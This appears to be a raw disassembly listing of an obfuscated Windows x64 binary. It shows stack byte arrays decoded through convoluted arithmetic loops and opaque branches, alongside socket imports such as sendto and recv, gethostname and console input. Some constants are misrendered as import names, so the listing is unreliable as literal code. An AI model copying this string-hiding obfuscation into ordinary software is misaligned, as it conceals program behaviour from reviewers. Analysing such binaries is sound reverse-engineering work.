mov dword [rbp + 0x1d8], 0xab788b81
mov dword [rbp + 0x1dc], 0x96aa6557
mov dword [rbp + 0x1e0], 0xacb66194
mov dword [rbp + 0x1e4], 0x6f9e9298
mov dword [rbp + 0x1e8], 0x92689892
mov dword [rbp + 0x1ec], 0x21e1e79b
mov dword [rbp + 0x1f0], 0xdce2c116
mov dword [rbp + 0x1f4], 0x301ce0ef
mov dword [rbp + 0x1f8], 0xe9d7e5e8
mov dword [rbp + 0x1fc], 0x7f5f91a
mov dword [rbp + 0x200], 0xfffdcef4
mov dword [rbp + 0x204], 0xff0ffc1
mov dword [rbp + 0x208], 0xbc7c1f2
mov dword [rbp + 0x20c], 0x570218da
nop word [rax + rax]
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov r11, r13
cmp r11, 0x89
jae 0x1400d6af1
movzx r10d, byte [rbp + r11 + 0x190]
mov rbx, r10
nop dword [rax]
cmp r8, r11
ja 0x1400d6ae8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d6039
lea rcx, [r11 + rsi]
movzx eax, bl
and al, cl
movzx edx, bl
add al, al
sub dl, al
add dl, 0x4b
add dl, cl
jmp 0x1400d6073
je 0x1400d6a7d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d69fb
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d69d0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400d69b6
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400d6975
cmp r9, r11
ja 0x1400d6adf
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400d609b
lea edx, [r11 + 0x1f]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
add dl, 0x27
add dl, r10b
jmp 0x1400d60d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d695b
inc rax
cmp r8, rax
je 0x1400d693b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d691e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d6904
nop
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400d6613
nop dword [rax]
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400d65f3
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d65d0
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400d65ad
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d6590
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d6573
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d6556
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400d653c
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d651f
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400d64f3
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400d60e0
lea r8, [r9 + 5]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400d6ac3
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d6aa7
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400d62bf
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400d62a6
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400d628d
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400d64a9
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d6460
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400d6422
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d63fd
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d60e0
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400d63d1
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400d63b4
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d639a
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400d637d
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d6360
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400d633f
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400d631c
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400d62f9
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400d62d8
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400d60e0
lea r8, [r9 + 0x40]
lea r9, [r8 + 3]
jmp 0x1400d60e0
lea edx, [r11 - 0x3f]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
sub dl, 0x47
add dl, r10b
jmp 0x1400d60d0
lea edx, [r11 - 5]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
add dl, 0x23
add dl, r10b
jmp 0x1400d6073
lea edx, [r11 + 0x35]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
sub dl, 0x73
add dl, r10b
jmp 0x1400d6009
lea ecx, [r11 - 8]
mov edx, Ordinal_32
movzx eax, cl
movzx ebx, r11b
and al, r10b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
jmp 0x1400d698d
lea ecx, [r11 + 0x32]
inc r9
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5e
inc r11
jmp 0x1400d5ff3
lea edx, [r11 + 0x6c]
mov ecx, 6
movzx eax, dl
dec r11
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc r11
jmp 0x1400d5ff3
lea edx, [r11 - 0x5a]
mov ecx, Ordinal_60
movzx eax, dl
movzx ebx, r11b
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d68c5
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x20
add r8, r9
jmp 0x1400d69e3
lea edx, [r11 + 0x1a]
mov ecx, Ordinal_41
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d69e3
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4c
jmp 0x1400d6a10
lea edx, [r11 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d6a38
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x190]
add rax, r9
add r11, rax
lea edx, [r10 + rcx]
sub dl, 0x78
inc r11
jmp 0x1400d5ff3
lea ecx, [r11 - 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x11
mov byte [rbp + r11 + 0x190], dl
inc r11
jmp 0x1400d5ff3
lea ecx, [r11 + 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x7b
cmp r9, 0x1000
jb 0x1400d6412
movzx ebx, r11b
lea ecx, [rbx + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edx, [rcx*2 - 0x3c]
jmp 0x1400d698d
lea ecx, [r11 + 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1b
cmp r8, 0x80
jae 0x1400d68a6
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400d67f6
lea edx, [r11 - 0x4a]
mov ecx, 3
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d6437
lea ecx, [r11 - 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x4f
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x1400d68ea
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400d6735
lea ecx, [r11 - 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x21
jmp 0x1400d6475
lea ecx, [r11 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x190]
add rax, r9
add r11, rax
lea edx, [r10 + rcx]
sub dl, 0x16
inc r11
jmp 0x1400d5ff3
lea edx, [r11 - 0xc]
mov ecx, Ordinal_45
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d6a38
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x42
jmp 0x1400d6a10
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d69e3
lea ecx, [r11 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6e
add r8, r9
jmp 0x1400d69e3
movzx ebx, r11b
lea ecx, [rbx - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 4
jmp 0x1400d68c5
lea edx, [r11 + 0x16]
mov ecx, 0x33
movzx eax, dl
dec r11
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc r11
jmp 0x1400d5ff3
lea ecx, [r11 + 0x50]
inc r9
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x30
inc r11
jmp 0x1400d5ff3
movzx ebx, r11b
mov ecx, Ordinal_32
lea edx, [rbx - 0x76]
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d698d
lea rax, [r9 + 4]
cmp r8, rax
jae 0x1400d6636
lea ecx, [r11 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x4b
jmp 0x1400d64be
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d666e
lea edx, [r11 + 0x3e]
mov ecx, Ordinal_41
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 + 0x190]
add cl, cl
add rax, r9
add dl, cl
add r11, rax
add dl, r10b
inc r11
jmp 0x1400d5ff3
inc rax
cmp r8, rax
jne 0x1400d6693
lea edx, [r11 - 0x36]
mov ecx, 0x3d
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d6a10
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d66b9
lea edx, [r11 - 0x70]
mov ecx, 8
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d69e3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d66e2
movzx ebx, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
lea edx, [rbx + 0x1c]
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d68c5
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d670b
lea ecx, [r11 - 0x1e]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x2e
inc r11
jmp 0x1400d5ff3
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400d64be
movzx ebx, r11b
lea ecx, [rbx + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 2
jmp 0x1400d698d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d675b
movzx ebx, r11b
lea ecx, [rbx + 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x75
jmp 0x1400d698d
inc rax
cmp r8, rax
jne 0x1400d6786
lea ecx, [r11 + 0x23]
inc r9
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0xb
inc r11
jmp 0x1400d5ff3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d67ac
lea ecx, [r11 + 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x33
add r8, r9
jmp 0x1400d69e3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d67cf
lea ecx, [r11 + 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x63
jmp 0x1400d69e3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400d6475
lea ecx, [r11 - 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x71
jmp 0x1400d6a38
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d682b
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x190]
add rax, r9
add r11, rax
lea edx, [r10 + rcx]
sub dl, 0x64
inc r11
jmp 0x1400d5ff3
inc rax
cmp r8, rax
jne 0x1400d6850
lea edx, [r11 - 0x32]
mov ecx, Ordinal_50
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400d69e3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d6876
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xc
add r8, r9
jmp 0x1400d69e3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d6437
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
dec r11
and al, r10b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc r11
jmp 0x1400d5ff3
movzx ecx, byte [rbp + r11 + 0x190]
movzx ebx, r11b
lea edx, [rbx + 0x38]
movzx eax, dl
and al, r10b
sub cl, al
add cl, 0x3c
add cl, cl
add dl, cl
sub bl, 0x65
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x3d
add bl, dl
add bl, r10b
mov byte [rbp + r11 + 0x190], bl
add r8, r9
jmp 0x1400d69e3
lea edx, [r11 - 2]
mov ecx, 7
movzx eax, dl
and al, r10b
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400d6a10
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x29
jmp 0x1400d6a38
lea ecx, [r11 - 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x15
add r8, r9
jmp 0x1400d69e3
lea ecx, [r11 + 0x71]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x17
inc r11
jmp 0x1400d5ff3
movzx ebx, r11b
lea ecx, [rbx - 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x43
jmp 0x1400d698d
movzx ebx, r11b
lea ecx, [rbx + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6f
sub bl, 0x2b
movzx eax, bl
and al, r10b
add al, al
sub bl, al
add bl, 0x2d
add bl, r10b
mov byte [rbp + r11 + 0x190], bl
inc r9
dec r11
inc r11
jmp 0x1400d5ff3
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x39
add r8, r9
jmp 0x1400d69e3
lea rcx, [r11 + r14]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea edx, [rcx + rbx]
sub dl, 0x5d
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400d5ff3
lea rax, [r11 + r12]
movzx r10d, bl
and bl, al
add bl, bl
sub al, bl
lea edx, [r10 + rax]
add dl, 0xd
lea ecx, [r11 + 0x61]
inc r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x59
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x190], al
add rax, r9
sub r11, rax
lea ecx, [r11 - 0x3c]
movzx eax, r10b
and al, cl
inc r8
add al, al
sub r10b, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub r10b, 0x5c
add r10b, cl
mov byte [rbp + r11 + 0x190], r10b
add r11, rax
movzx eax, byte [rbp + r11 + 0x190]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d5ff3
lea rcx, [r11 + r15]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea edx, [rcx + rbx]
sub dl, 0x1f
movzx eax, byte [rbp + r11 + 0x190]
add rax, r9
add r11, rax
inc r11
jmp 0x1400d5ff3
add r11b, 0x6f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 9
jmp 0x1400d5ff0
sub r11b, 0x57
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x61
jmp 0x1400d5fe0
lea rcx, [rbp + 0x174c814]
jmp 0x1400d6af8
lea rcx, [rbp + 0x16aab77]
jmp 0x1400d6af8
lea rcx, [rbp + 0x190]
call fcn.14003f5a0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
movzx r10d, byte [rbp + 0x260]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x11], rax
movups xmmword [rbp + 1], xmm0
mov dword [rbp + 0x19], eax
movabs rsi, 0x24ba3d978731d385
mov byte [rbp + 0x1d], al
movabs r14, 0x4a8c2a53c0c06fad
mov dword [rbp - 0x10], 0x9f9f8d93
movabs r15, 0x6e2eb8c695957a8f
mov dword [rbp - 0xc], 0x9d91988e
mov dword [rbp - 8], 0x539a5c4e
mov dword [rbp - 4], 0x47508543
mov byte [rbp], gethostname
nop dword [rax]
nop word [rax + rax]
mov r9, qword [0x1402e3348]
mov rax, qword [0x1402e3350]
nop
mov rbx, r13
cmp rbx, 0x2e
jae 0x1400d7605
movzx r11d, byte [rbp + rbx - 0x10]
mov r8, r11
cmp r9, rbx
ja 0x1400d75fc
lea rcx, [rax + 1]
cmp r9, rcx
jae 0x1400d6bc4
lea rdx, [rbx + rsi]
movzx ecx, r8b
and cl, dl
movzx r10d, r8b
add cl, cl
sub r10b, cl
add r10b, 0x5d
add r10b, dl
jmp 0x1400d6bf0
je 0x1400d7595
inc rcx
cmp r9, rcx
je 0x1400d7565
lea rcx, [rax + 2]
cmp r9, rcx
je 0x1400d7545
lea rcx, [rax + 7]
cmp r9, rcx
je 0x1400d7503
cmp rax, rbx
ja 0x1400d75f3
lea rcx, [rax + 0xa]
cmp r9, rcx
jae 0x1400d6c1b
lea r10d, [rbx - 0x17]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x5f
add r10b, r11b
jmp 0x1400d6c50
lea rcx, [rax + 1]
cmp r9, rcx
je 0x1400d74e9
lea rcx, [rax + 2]
cmp r9, rcx
je 0x1400d74c9
lea rcx, [rax + 3]
cmp r9, rcx
je 0x1400d74ac
lea rcx, [rax + 9]
cmp r9, rcx
je 0x1400d7484
nop
lea rcx, [rax + r9]
cmp rcx, rbx
jbe 0x1400d71b3
nop dword [rax]
lea rcx, [rax + 0x42]
cmp r9, rcx
je 0x1400d7196
lea rcx, [rax + 0x41]
cmp r9, rcx
je 0x1400d7173
lea rcx, [rax + 0x80]
cmp r9, rcx
je 0x1400d714c
lea rcx, [rax + 0x2a]
cmp r9, rcx
je 0x1400d712e
lea rcx, [rax + 0xa]
cmp r9, rcx
je 0x1400d7111
lea rcx, [rax + 2]
cmp r9, rcx
je 0x1400d70f7
lea rcx, [rax + 0x20]
cmp r9, rcx
je 0x1400d70d6
lea rcx, [rax + 0x1000]
cmp r9, rcx
je 0x1400d70b5
lea rcx, [rax + 4]
cmp r9, rcx
je 0x1400d708d
lea rcx, [rax + 0x7a]
cmp r9, rcx
je 0x1400d6c60
lea r9, [rax + 0x42]
lea rax, [r9 + 6]
lea rcx, [rax + 0x41]
cmp r9, rcx
jb 0x1400d75d9
lea rcx, [rax + 8]
cmp r9, rcx
jb 0x1400d75bf
lea rcx, [rax + 0x2a]
cmp r9, rcx
jb 0x1400d6e4c
lea rcx, [rax + 0xa]
cmp r9, rcx
jb 0x1400d6e30
lea rcx, [rax + 0x3e8]
cmp r9, rcx
jb 0x1400d6e14
lea rcx, [rax + 0x20]
cmp r9, rcx
jb 0x1400d7043
lea rcx, [rax + 0x1000]
cmp r9, rcx
jb 0x1400d7000
lea rcx, [rax + 4]
cmp r9, rcx
jb 0x1400d6fbc
lea rcx, [rax + 0x40]
cmp r9, rcx
jb 0x1400d6f9a
lea rcx, [rax + 6]
cmp r9, rcx
jb 0x1400d6c60
lea r9, [rax + 0x41]
lea rax, [r9 + 0x64]
lea rcx, [rax + 8]
cmp r9, rcx
ja 0x1400d6f6b
lea rcx, [rax + 0x80]
cmp r9, rcx
ja 0x1400d6f51
lea rcx, [rax + 0xa]
cmp r9, rcx
ja 0x1400d6f37
lea rcx, [rax + 0x3e8]
cmp r9, rcx
ja 0x1400d6f16
lea rcx, [rax + 2]
cmp r9, rcx
ja 0x1400d6ef2
lea rcx, [rax + 0x1000]
cmp r9, rcx
ja 0x1400d6ed5
lea rcx, [rax + 4]
cmp r9, rcx
ja 0x1400d6eb5
lea rcx, [rax + 0x40]
cmp r9, rcx
ja 0x1400d6e8b
lea rcx, [rax + 0x7a]
cmp r9, rcx
ja 0x1400d6e68
lea rcx, [rax + 0x64]
cmp r9, rcx
ja 0x1400d6c60
lea r9, [rax + 8]
lea rax, [r9 + 0x5a]
jmp 0x1400d6c60
lea r10d, [rbx + 0x37]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x7f
add r10b, r11b
jmp 0x1400d6c50
lea r10d, [rbx + 0x2d]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x3b
add r10b, r11b
jmp 0x1400d6bf0
lea r10d, [rbx + 0x23]
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0xb
add r10b, r11b
jmp 0x1400d6b93
lea edx, [rbx + 0x48]
mov r10d, 4
movzx ecx, dl
movzx edi, bl
and cl, r11b
sub r10b, cl
add r10b, r10b
add r10b, dl
add r10b, r11b
jmp 0x1400d751b
lea r8d, [rbx + 0x3e]
mov edx, Ordinal_41
movzx ecx, r8b
inc rax
and cl, r11b
dec rbx
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x1400d6b83
lea edx, [rbx + 0x34]
dec rbx
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x6c
inc rbx
jmp 0x1400d6b83
lea edx, [rbx + 0x2a]
movzx edi, bl
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x26
jmp 0x1400d73e8
lea r8d, [rbx + 0x20]
mov edx, reloc.WS2_32.dll_recv
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
add r9, rax
jmp 0x1400d757c
lea r8d, [rbx + 0x16]
mov edx, 0x33
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d757c
lea edx, [rbx + 0xc]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x54
jmp 0x1400d7420
lea edx, [rbx + 2]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0xe
jmp 0x1400d7443
lea r8d, [rbx - 8]
mov edx, Ordinal_32
movzx ecx, r8b
and cl, r11b
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x10]
add rcx, rax
add rbx, rcx
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x1400d6b83
lea edx, [rbx + 0x5f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x67
mov byte [rbp + rbx - 0x10], r10b
inc rbx
jmp 0x1400d6b83
lea edx, [rbx + 0x55]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x53
cmp rax, 0x400
jb 0x1400d6faf
mov r8d, 7
movzx edi, bl
lea edx, [rdi - 2]
movzx ecx, dl
and cl, r11b
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r11b
lea r10d, [r8 + r8]
jmp 0x1400d751b
lea edx, [rbx + 0x4b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0xd
cmp r9, 0x10
jae 0x1400d73c5
lea rdx, [rax + 2]
cmp r9, rdx
jbe 0x1400d7321
lea edx, [rbx - 0x66]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x36
jmp 0x1400d6fd1
lea edx, [rbx + 0x41]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x39
lea rcx, [rax + r9]
cmp rcx, 1
je 0x1400d740f
lea rcx, [rax + 0x3e8]
cmp r9, rcx
jbe 0x1400d7288
lea edx, [rbx - 0x4f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x29
jmp 0x1400d7015
lea edx, [rbx + 0x76]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x10]
add rcx, rax
add rbx, rcx
lea r10d, [r11 + rdx]
sub r10b, 0x3a
inc rbx
jmp 0x1400d6b83
lea r8d, [rbx + 0x6c]
mov edx, 6
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d7443
lea r8d, [rbx + 0x62]
mov edx, reloc.WLDAP32.dll_Ordinal_41
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d7420
lea edx, [rbx + 0x58]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x68
jmp 0x1400d757c
lea edx, [rbx + 0x4e]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x22
add r9, rax
jmp 0x1400d757c
mov edx, reloc.WS2_32.dll_select
movzx edi, bl
lea r8d, [rdi + 0x44]
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
jmp 0x1400d73e2
lea r8d, [rbx + 0x3a]
mov edx, gethostname
movzx ecx, r8b
dec rbx
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x1400d6b83
lea edx, [rbx + 0x30]
inc rax
movzx ecx, dl
dec rbx
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x50
inc rbx
jmp 0x1400d6b83
movzx edi, bl
lea edx, [rdi + 0x26]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0xa
jmp 0x1400d751b
lea rcx, [rax + 1]
cmp r9, rcx
jae 0x1400d71d6
lea edx, [rbx - 0x7b]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
add r10b, 0x5d
jmp 0x1400d7058
jne 0x1400d7207
lea r8d, [rbx - 0x2e]
mov edx, reloc.WLDAP32.dll_Ordinal_33
movzx ecx, r8b
and cl, r11b
sub dl, cl
movzx ecx, byte [rbp + rbx - 0x10]
add rcx, rax
add rbx, rcx
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
inc rbx
jmp 0x1400d6b83
lea rcx, [rax + 2]
cmp r9, rcx
jne 0x1400d722a
lea edx, [rbx - 0x1a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x4a
jmp 0x1400d7420
lea rcx, [rax + 3]
cmp r9, rcx
jne 0x1400d7257
lea r8d, [rbx - 6]
mov edx, reloc.WS2_32.dll_setsockopt
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
add r9, rax
jmp 0x1400d757c
lea rcx, [rax + 9]
cmp r9, rcx
jne 0x1400d7058
mov edx, 9
movzx edi, bl
lea r8d, [rdi + 0x22]
movzx ecx, r8b
and cl, r11b
sub dl, cl
lea r10d, [rdx + rdx]
add r10b, r8b
add r10b, r11b
jmp 0x1400d751b
lea rcx, [rax + 1]
cmp r9, rcx
jne 0x1400d72ae
movzx edi, bl
lea edx, [rdi - 0x45]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r10d, [r11 + rdx]
sub r10b, 0x1d
jmp 0x1400d751b
lea rcx, [rax + 2]
cmp r9, rcx
jne 0x1400d72d7
